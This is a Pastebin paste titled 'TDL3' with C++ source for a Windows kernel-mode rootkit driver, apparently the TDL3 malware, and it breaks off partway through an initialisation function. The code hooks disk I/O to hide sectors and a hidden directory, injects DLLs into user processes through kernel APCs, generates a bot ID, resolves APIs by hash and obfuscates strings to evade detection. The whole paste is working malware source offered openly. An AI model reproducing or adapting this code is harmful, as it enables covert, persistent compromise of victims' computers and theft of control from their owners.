API tools faq
paste
Advertisement
Xylitol

TDL3

Xylitol
May 28th, 2011
435
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 46.98 KB | None | 0 0
raw download clone embed print report
  1. #include "inc.h"
  2.  
  3. #pragma comment(linker,"/subsystem:native /entry:DriverEntry")
  4.  
  5. NT_BEGIN
  6. EXTERN_C_START
  7.  
  8. DWORD GetDelta();
  9. NTSTATUS Reinitialize(PDEVICE_OBJECT,BOOLEAN);
  10. VOID GetEPNameOffset();
  11.  
  12. NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
  13. {
  14.  
  15.     PTDL_START ptsStart;
  16.     PIMAGE_NT_HEADERS pinhHeader;
  17.  
  18.     GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry;
  19.     pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart);
  20.     ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START));
  21.     GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset;
  22.     pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP;
  23.     pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum;
  24.     pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=ptsStart->dwSectionSecuritySize;
  25.     pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->dwSectionSecurityVirtualAddress;
  26.     GetEPNameOffset();
  27.     *GET_TDL_ADDRESSES->cBotID=0;
  28.     if(!NT_SUCCESS(Reinitialize(0,FALSE)))
  29.     {
  30.         IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
  31.     }
  32.     return STATUS_SUCCESS;
  33. }
  34.  
  35. VOID GetEPNameOffset()
  36. {
  37.     CHAR cSystem[]={'S','y','s','t','e','m',0};
  38.  
  39.     GET_TDL_ADDRESSES->dwEPNameOffset=0;
  40.     while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0)
  41.     {
  42.         GET_TDL_ADDRESSES->dwEPNameOffset++;
  43.     }
  44.     return;
  45. }
  46.  
  47. PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey)
  48. {
  49.     DWORD dwData;
  50.  
  51.     for(dwData=0;dwData<dwSize;dwData++)
  52.     {
  53.         ((PBYTE)pvData)[dwData]^=dwData+bKey;
  54.     }
  55.     return pvData;
  56. };
  57.  
  58. NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress)
  59. {
  60.     SCSI_REQUEST_BLOCK srbBuffer;
  61.     SENSE_DATA sdData;
  62.     IO_STATUS_BLOCK iosbStatus;
  63.     KEVENT keEvent;
  64.     PIRP piIrp;
  65.     PMDL pmMdl;
  66.     PIO_STACK_LOCATION pislStack;
  67.  
  68.     memset(&srbBuffer,0,sizeof(srbBuffer));
  69.     memset(&sdData,0,sizeof(sdData));
  70.     srbBuffer.Length=sizeof(srbBuffer);
  71.     srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI;
  72.     srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
  73.     srbBuffer.CdbLength=CDB10GENERIC_LENGTH;
  74.     srbBuffer.SenseInfoBufferLength=sizeof(sdData);
  75.     srbBuffer.SenseInfoBuffer=&sdData;
  76.     srbBuffer.DataTransferLength=dwBufferSize;
  77.     srbBuffer.DataBuffer=pvBuffer;
  78.     srbBuffer.TimeOutValue=5000;
  79.     srbBuffer.QueueSortKey=dwAddress;
  80.     srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE;
  81.     srbBuffer.Cdb[0]=bOpCode;
  82.     srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24);
  83.     srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16);
  84.     srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8);
  85.     srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff);
  86.     if(dwAddress!=0)
  87.     {
  88.         DWORD dwSectors;
  89.  
  90.         dwSectors=dwBufferSize/0x200;
  91.         srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8);
  92.         srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff);
  93.     }
  94.     KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
  95.     piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE);
  96.     if(piIrp!=0)
  97.     {
  98.         pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp);
  99.         srbBuffer.OriginalRequest=piIrp;
  100.         piIrp->MdlAddress=pmMdl;
  101.         MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess);
  102.         piIrp->UserIosb=&iosbStatus;
  103.         piIrp->UserEvent=&keEvent;
  104.         piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
  105.         piIrp->Tail.Overlay.Thread=KeGetCurrentThread();
  106.         pislStack=IoGetNextIrpStackLocation(piIrp);
  107.         pislStack->DeviceObject=pdoDevice;
  108.         pislStack->MajorFunction=IRP_MJ_SCSI;
  109.         pislStack->Parameters.Scsi.Srb=&srbBuffer;
  110.         piIrp->CurrentLocation--;
  111.         pislStack=IoGetNextIrpStackLocation(piIrp);
  112.         piIrp->Tail.Overlay.CurrentStackLocation=pislStack;
  113.         pislStack->DeviceObject=pdoDevice;
  114.         if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING)
  115.         {
  116.             KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0);
  117.         }
  118.         return iosbStatus.Status;
  119.     }
  120.     return STATUS_INSUFFICIENT_RESOURCES;
  121. }
  122.  
  123. extern "C"
  124. {
  125.     #include "gz.cpp"
  126.     #include "md4.cpp"
  127.     #include "socket.cpp"
  128.     #include "tdlini.cpp"
  129.     #include "tdlfs.cpp"
  130.  
  131. }
  132.  
  133. NTSTATUS MJCompletion(PDEVICE_OBJECT pdoDevice,PIRP piIrp,PVOID pvContext)
  134. {
  135.     NTSTATUS ntsStatus;
  136.  
  137.     if(NT_SUCCESS(piIrp->IoStatus.Status))
  138.     {
  139.         PVOID pvBuffer;
  140.         PIO_STACK_LOCATION pislStack;
  141.         DWORD dwSector;
  142.  
  143.         pislStack=IoGetCurrentIrpStackLocation(piIrp);
  144.         pvBuffer=MmGetSystemAddressForMdlSafe(piIrp->MdlAddress,NormalPagePriority);
  145.         if(((PDISK_COMPLETION)pvContext)->dwSectorOffset+(DWORD)piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)
  146.         {
  147.             DWORD dwOffset;
  148.  
  149.             if(((PDISK_COMPLETION)pvContext)->dwSectorOffset<GET_TDL_ADDRESSES->dwFirstHiddenSector)
  150.             {
  151.                 dwOffset=(GET_TDL_ADDRESSES->dwFirstHiddenSector-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize;
  152.             }
  153.             else
  154.             {
  155.                 dwOffset=0;
  156.             }
  157.             memset(RtlOffsetToPointer(pvBuffer,dwOffset),0,(DWORD)piIrp->IoStatus.Information-dwOffset);
  158.         }
  159.         else
  160.         {
  161.             for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
  162.             {
  163.                 if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)
  164.                     &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,((PDISK_COMPLETION)pvContext)->dwSectorOffset,piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize))
  165.                 {
  166.                     memcpy(RtlOffsetToPointer(pvBuffer,GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize),GET_TDL_ADDRESSES->thsSectors[dwSector].pvValue,GET_TDL_ADDRESSES->thsSectors[dwSector].dwSize);
  167.                 }
  168.             }
  169.         }
  170.     }
  171.     if(((PDISK_COMPLETION)pvContext)->picrCompletion!=0)
  172.     {
  173.         ntsStatus=((PDISK_COMPLETION)pvContext)->picrCompletion(pdoDevice,piIrp,((PDISK_COMPLETION)pvContext)->pvContext);
  174.     }
  175.     ExFreePool(pvContext);
  176.     return ntsStatus;
  177. }
  178.  
  179. NTSTATUS MJDispatch(PDEVICE_OBJECT pdoDevice,PIRP piIrp)
  180. {
  181.     PIO_STACK_LOCATION pislStack;
  182.     PDISK_COMPLETION pdcCompletion=0;
  183.     DWORD dwSector;
  184.  
  185.     pislStack=IoGetCurrentIrpStackLocation(piIrp);
  186.     if((pdoDevice==GET_TDL_ADDRESSES->pdoFSDevice)
  187.         &&(pislStack->FileObject!=0)
  188.         &&(pislStack->FileObject->FileName.Length>sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)+2*sizeof(L'\\')-sizeof(WCHAR))
  189.         &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0))
  190.     {
  191.         piIrp->IoStatus.Status=STATUS_NOT_IMPLEMENTED;
  192.         piIrp->IoStatus.Information=0;
  193.         TDLFSDispatch(pdoDevice,piIrp);
  194.         IoCompleteRequest(piIrp,IO_NO_INCREMENT);
  195.         return piIrp->IoStatus.Status;
  196.     }
  197.     if((pdoDevice==GET_TDL_ADDRESSES->pdoDeviceDisk)
  198.         &&(!((pislStack->FileObject!=0)
  199.             &&(pislStack->FileObject->FileName.Length==sizeof(L'\\')+sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))
  200.             &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0)))
  201.         &&(pislStack->MajorFunction==IRP_MJ_SCSI)
  202.         &&(pislStack->Parameters.Scsi.Srb->Function==SRB_FUNCTION_EXECUTE_SCSI))
  203.     {
  204.         BOOL bComplete=FALSE;
  205.         BOOL bEnd=FALSE;
  206.  
  207.         if(pislStack->Parameters.Scsi.Srb->QueueSortKey+pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)
  208.         {
  209.             bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;
  210.             bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;
  211.         }
  212.         else
  213.         {
  214.             for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
  215.             {
  216.                 if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)
  217.                     &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,pislStack->Parameters.Scsi.Srb->QueueSortKey,pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize))
  218.                 {
  219.                     bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;
  220.                     bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;
  221.                 }
  222.             }
  223.         }
  224.         if(bEnd)
  225.         {
  226.             pislStack->Parameters.Scsi.Srb->SrbStatus=SRB_STATUS_SUCCESS;
  227.             pislStack->Parameters.Scsi.Srb->InternalStatus=SRB_STATUS_SUCCESS;
  228.             piIrp->IoStatus.Status=STATUS_SUCCESS;
  229.             IoCompleteRequest(piIrp,IO_NO_INCREMENT);
  230.             return STATUS_SUCCESS;
  231.         }
  232.         if(bComplete)
  233.         {
  234.             pdcCompletion=(PDISK_COMPLETION)ExAllocatePool(NonPagedPool,sizeof(DISK_COMPLETION));
  235.             if(pdcCompletion!=0)
  236.             {
  237.                 pdcCompletion->picrCompletion=pislStack->CompletionRoutine;
  238.                 pdcCompletion->pvContext=pislStack->Context;
  239.                 pdcCompletion->dwSectorOffset=pislStack->Parameters.Scsi.Srb->QueueSortKey;
  240.                 pislStack->Control=SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL;
  241.                 pislStack->Context=pdcCompletion;
  242.                 pislStack->CompletionRoutine=ADDRESS_DELTA(PIO_COMPLETION_ROUTINE,MJCompletion);
  243.             }
  244.         }
  245.     }
  246.     return GET_TDL_ADDRESSES->pddDiskMJ[pislStack->MajorFunction](pdoDevice,piIrp);
  247. }
  248.  
  249. NTSTATUS GenerateBotID(PCHAR pcBotID,DWORD dwBotIDSize)
  250. {
  251.     CHAR cBotIDFormat[]={'%','x','%','x',0};
  252.     WCHAR wcVolumeObject[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};
  253.     UUID uuidBotID;
  254.     UNICODE_STRING usName;
  255.     HANDLE hVolume;
  256.     FILE_FS_VOLUME_INFORMATION ffviInfo;
  257.     IO_STATUS_BLOCK iosbStatus;
  258.     OBJECT_ATTRIBUTES oaAttributes;
  259.  
  260.     RtlInitUnicodeString(&usName,wcVolumeObject);
  261.     InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
  262.     ffviInfo.VolumeSerialNumber=0;
  263.     if(NT_SUCCESS(ZwOpenFile(&hVolume,SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,FILE_SYNCHRONOUS_IO_NONALERT)))
  264.     {
  265.         ZwQueryVolumeInformationFile(hVolume,&iosbStatus,&ffviInfo,sizeof(ffviInfo),FileFsVolumeInformation);
  266.         ZwClose(hVolume);
  267.     }
  268.     if(ExUuidCreate(&uuidBotID)==0)
  269.     {
  270.         _snprintf(pcBotID,dwBotIDSize,cBotIDFormat,*(PDWORD)RtlOffsetToPointer(uuidBotID.Data4,4),ffviInfo.VolumeSerialNumber);
  271.         return STATUS_SUCCESS;
  272.     }  
  273.     return STATUS_RETRY;
  274. }
  275.  
  276. __declspec(naked) DWORD GetDelta()
  277. {
  278.     __asm
  279.     {
  280.         call delta
  281.         delta:
  282.         pop eax
  283.         sub eax,offset delta
  284.         retn
  285.     }
  286. }
  287.  
  288. __declspec(noinline) PVOID GetNtoskrnlBase()
  289. {
  290.     BYTE bIDT[6];
  291.     PIDT_ENTRY pieIDTEntry;
  292.     PWORD pwAddress;
  293.  
  294.     __asm
  295.     {
  296.         sidt bIDT;
  297.     }
  298.     pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40);
  299.     pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16));
  300.     do
  301.     {
  302.         pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE);
  303.         if(*pwAddress=='ZM')
  304.         {
  305.             return (PVOID)pwAddress;
  306.         }
  307.         pwAddress--;
  308.     }
  309.     while(pwAddress!=0);
  310.     return 0;
  311. }
  312.  
  313. VOID __stdcall APCKernelRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID* ppvMemory,PVOID*)
  314. {
  315.     ExFreePool(pkaApc);
  316.     return;
  317. }
  318.  
  319. NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert)
  320. {
  321.     HANDLE hProcess;
  322.     OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};
  323.     CLIENT_ID cidProcess;
  324.     PVOID pvMemory=0;
  325.     DWORD dwSize;
  326.     CHAR cDllReal[MAX_PATH];
  327.     CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0};
  328.     PCHAR pcDllReal;
  329.  
  330.     if(*pcDll!='\\')
  331.     {
  332.         dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1;
  333.         pcDllReal=cDllReal;
  334.     }
  335.     else
  336.     {
  337.         pcDllReal=pcDll;
  338.         dwSize=strlen(pcDll)+1;
  339.     }
  340.     cidProcess.UniqueProcess=hProcessID;
  341.     cidProcess.UniqueThread=0;
  342.     if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess)))
  343.     {
  344.         if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE)))
  345.         {
  346.             KAPC_STATE kasState;
  347.             PKAPC pkaApc;
  348.  
  349.             KeStackAttachProcess(pepProcess,&kasState);
  350.             strcpy(pvMemory,pcDllReal);
  351.             KeUnstackDetachProcess(&kasState);
  352.             pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
  353.             if(pkaApc!=0)
  354.             {
  355.                 KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory);
  356.                 KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
  357.                 return STATUS_SUCCESS;
  358.             }
  359.         }
  360.         ZwClose(hProcess);
  361.     }
  362.     return STATUS_NO_MEMORY;
  363. }
  364.  
  365. VOID WIInjector(PVOID pvContext)
  366. {
  367.     CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY;
  368.     CHAR cSection[]=TDL_CONFIG_INJECTOR;
  369.     CHAR cDll[MAX_PATH];
  370.  
  371.    
  372.     CHAR cSection2[]=TDL_CONFIG_MAIN;
  373.     CHAR cKey[]={'d','a','t','e',0};
  374.  
  375.  
  376.     DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0);
  377.     DWORD dwCurrent;
  378.    
  379.     LARGE_INTEGER liTime;
  380.     KeQuerySystemTime(&liTime);
  381.     RtlTimeToSecondsSince1970(&liTime,&dwCurrent);
  382.  
  383.     //CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0};
  384.     //DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0);
  385.  
  386.  
  387.     //if(dwCurrent-dwDate>=60*24*60)
  388.     {
  389. //      DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1);
  390.         if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll)))
  391.         {
  392.             DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
  393.         }
  394.         if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,cDll,sizeof(cDll)))
  395.         {
  396.             DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
  397.         }
  398.     }
  399.  
  400.     KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE);
  401.     return;
  402. }
  403.  
  404. VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*)
  405. {
  406.     WI_INJECT wiiItem;
  407.  
  408.     ExFreePool(pkaApc);
  409.     wiiItem.pktThread=KeGetCurrentThread();
  410.     wiiItem.pepProcess=IoGetCurrentProcess();
  411.     wiiItem.hProcessID=PsGetCurrentProcessId();
  412.     KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE);
  413.     ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem);
  414.     ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue);
  415.     KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0);
  416.     return;
  417. }
  418.  
  419. VOID LoadImageNotify(PUNICODE_STRING FullImageName,HANDLE hProcessID,PIMAGE_INFO ImageInfo)
  420. {
  421.     if(FullImageName!=0)
  422.     {
  423.         WCHAR wcKernel32Mask[]={L'*',L'\\',L'K',L'E',L'R',L'N',L'E',L'L',L'3',L'2',L'.',L'D',L'L',L'L',0};
  424.         UNICODE_STRING usKernel32Mask;
  425.  
  426.         RtlInitUnicodeString(&usKernel32Mask,wcKernel32Mask);
  427.         if(FsRtlIsNameInExpression(&usKernel32Mask,FullImageName,TRUE,0))
  428.         {
  429.             PKAPC pkaApc;
  430.  
  431.             if(GET_TDL_ADDRESSES->pvLoadLibraryExA==0)
  432.             {
  433.                 GET_TDL_ADDRESSES->pvLoadLibraryExA=GetProcedureAddressByHash(ImageInfo->ImageBase,TDL_HASH_LOADLIBRARYEXA);
  434.             }
  435.             pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
  436.             if(pkaApc!=0)
  437.             {
  438.                 KeInitializeApc(pkaApc,KeGetCurrentThread(),0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCInjectRoutine),0,0,KernelMode,0);
  439.                 KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
  440.             }
  441.         }
  442.     }
  443.     return;
  444. }
  445.  
  446. VOID WIKnock(PVOID pvWIKnock)
  447. {
  448.     KEVENT keEvent;
  449.  
  450.     ExFreePool(pvWIKnock);
  451.  
  452.     /*
  453.     CHAR cSection2[]=TDL_CONFIG_MAIN;
  454.         CHAR cKey[]={'r','e','b','o','o','t','s',0};
  455.         CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};
  456.         DWORD dwRand=(DWORD)rand()%100;
  457.         DbgPrint(cDebug,cKey,dwRand);
  458.         TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);
  459.     */
  460.    
  461.     KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
  462.     while(TRUE)
  463.     {
  464.        
  465.         LARGE_INTEGER liDelay;
  466.  
  467.  
  468.         if((*GET_TDL_ADDRESSES->cBotID==0)
  469.             &&NT_SUCCESS(GenerateBotID(GET_TDL_ADDRESSES->cBotID,RTL_NUMBER_OF(GET_TDL_ADDRESSES->cBotID))))
  470.         {
  471.             OBJECT_ATTRIBUTES oaAttributes;
  472.             WCHAR wcBotID[0x10+sizeof(L'\\')+1];
  473.             WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};
  474.             UNICODE_STRING usName;
  475.             HANDLE hEvent;
  476.  
  477.             _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,GET_TDL_ADDRESSES->cBotID);
  478.             RtlInitUnicodeString(&usName,wcBotID);
  479.             InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
  480.             ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE);
  481.             return;
  482.         }
  483.         liDelay.QuadPart=(LONGLONG)-10*10000000;
  484.  
  485.         //liDelay.QuadPart=(LONGLONG)-1*10000000;
  486.         KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);
  487.     }
  488.     return;
  489. }
  490. /*
  491.  
  492. void WITimer(PVOID pvWITimer)
  493. {
  494.     CHAR cSection2[]=TDL_CONFIG_MAIN;
  495.     CHAR cKey[]={'r','e','b','o','o','t','s',0};
  496.     CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};
  497.     KEVENT keEvent;
  498.  
  499.     ExFreePool(pvWITimer);
  500.     KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
  501.  
  502.     while(TRUE)
  503.     {
  504.         DWORD dwRand=(DWORD)rand()%100;
  505.         LARGE_INTEGER liDelay;
  506.        
  507.         DbgPrint(cDebug,cKey,dwRand);
  508.         //TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);
  509.  
  510.         liDelay.QuadPart=(LONGLONG)-5*10000000;
  511.         KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);
  512.     }
  513.    
  514. }
  515. */
  516.  
  517. PIMAGE_SECTION_HEADER RvaToSectionHeader(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)
  518. {
  519.     PIMAGE_SECTION_HEADER pishHeader;
  520.     DWORD dwSection;
  521.  
  522.     pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
  523.     for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)
  524.     {
  525.         if((dwRva>=pishHeader->VirtualAddress)
  526.             &&(dwRva<(pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize)))
  527.         {
  528.             return pishHeader;
  529.         }
  530.         pishHeader++;
  531.     }
  532.     return 0;
  533. }
  534.  
  535. DWORD RvaToFileOffset(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)
  536. {
  537.     PIMAGE_SECTION_HEADER pishHeader;
  538.  
  539.     pishHeader=RvaToSectionHeader(pinhHeader,dwRva);
  540.     if(pishHeader!=0)
  541.     {
  542.         return (DWORD)ALIGNDOWN(pishHeader->PointerToRawData,pinhHeader->OptionalHeader.FileAlignment)+(dwRva-pishHeader->VirtualAddress);
  543.     }
  544.     return 0;
  545. }
  546.  
  547. DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum)
  548. {
  549.     DWORD dwBytes=dwSize;
  550.  
  551.     while(dwBytes>0)
  552.     {
  553.         if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0)
  554.         {
  555.             wChecksum++;
  556.         }
  557.         wChecksum+=*(PWORD)pvData;
  558.         dwBytes-=sizeof(WORD);
  559.         pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID);
  560.     }
  561.     return wChecksum+dwSize;
  562. }
  563.  
  564. __declspec(noinline) DWORD HashString(PCHAR pcString)
  565. {
  566.     DWORD dwResult=0;
  567.  
  568.     while(*pcString!=0)
  569.     {
  570.         dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++));
  571.     }
  572.     return dwResult;
  573. }
  574.  
  575. __declspec(noinline) PVOID GetProcedureAddressByHash(PVOID pvBase,DWORD dwHash)
  576. {
  577.     PIMAGE_NT_HEADERS pinhHeader;
  578.     PIMAGE_EXPORT_DIRECTORY piedExport;
  579.     PDWORD pdwNames;
  580.     PDWORD pdwProcedures;
  581.     PWORD pdwOrdinals;
  582.     DWORD i;
  583.  
  584.     pinhHeader=(PIMAGE_NT_HEADERS)((DWORD_PTR)(((PIMAGE_DOS_HEADER)pvBase)->e_lfanew)+(DWORD_PTR)pvBase);
  585.     piedExport=(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)(pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)+(DWORD_PTR)pvBase);
  586.     pdwNames=MAKE_PTR(pvBase,piedExport->AddressOfNames,PDWORD);
  587.     pdwProcedures=MAKE_PTR(pvBase,piedExport->AddressOfFunctions,PDWORD);
  588.     pdwOrdinals=MAKE_PTR(pvBase,piedExport->AddressOfNameOrdinals,PWORD);
  589.     for(i=0;i<piedExport->NumberOfNames;i++)
  590.     {
  591.         if(HashString(MAKE_PTR(pvBase,pdwNames[i],PCHAR))==dwHash)
  592.         {
  593.             return MAKE_PTR(pvBase,pdwProcedures[pdwOrdinals[i]],PVOID);
  594.         }
  595.     }
  596.     return 0;
  597. }
  598.  
  599. NTSTATUS MJStub(PDEVICE_OBJECT pdoDevice,PIRP piIrp)
  600. {
  601.     return GET_TDL_ADDRESSES->pddMJ(pdoDevice,piIrp);
  602. }
  603.  
  604. NTSTATUS TDLInit(HANDLE hDriver)
  605. {
  606.     BYTE bDeviceName[MAX_PATH];
  607.     DWORD dwSeed;
  608.     DWORD dwCh;
  609.     DWORD dwSize;
  610.  
  611.     GET_TDL_ADDRESSES->dwHiddenSectors=0;
  612.     dwSeed=((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemTime.LowPart;
  613.     for(dwCh=0;dwCh<RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLDirectory)-1;dwCh++)
  614.     {
